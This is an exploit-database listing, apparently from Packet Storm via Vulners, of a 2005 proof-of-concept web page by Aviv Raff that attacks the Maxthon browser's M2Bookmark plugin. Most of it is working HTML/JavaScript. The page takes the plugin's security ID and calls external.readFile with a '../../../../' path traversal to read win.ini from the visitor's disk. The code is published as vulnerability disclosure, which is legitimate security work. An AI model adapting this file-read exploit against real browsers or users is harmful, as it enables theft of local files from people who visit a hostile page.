Lucene search
K

maxthon_arbitrary_read-write.html.txt

🗓️ 17 Apr 2005 00:00:00Reported by Aviv RaffType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

Maxthon plugin code reveals arbitrary read and write vulnerabilities in external files.

Code
`  
<html>  
<script id="max" src="C:\Program Files\Maxthon\Plugin\M2bookmark\max.src"></script>  
<script>  
var iVuln=null;  
function checkVuln() {  
try {  
if (external.readFile(max_security_id,"m2bookmark","plugin.ini")!=null) {  
pls.innerText='Done!';  
alert("Vulnerable!");  
showFileContent();  
window.clearInterval(iVuln);   
}  
else {  
window.status='';  
// Refresh the "max.src" script by setting the source file as the same file  
max.src=max.src;  
}  
}  
catch(e) {}   
}  
  
function showFileContent() {  
var dir="WINDOWS";  
var content=external.readFile(max_security_id,"m2bookmark","../../../../"+dir+"/win.ini");  
if (content==null) {  
dir="WINNT";  
content=external.readFile(max_security_id,"m2bookmark","../../../../"+dir+"/win.ini");  
}  
alert("C:\\"+dir+"\\win.ini file content:\n"+content);  
}  
  
iVuln=window.setInterval("checkVuln()",1000);  
</script>  
<body>  
<span id="pls">Please open the M2Bookmark sidebar...</span>  
</body>  
</html>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation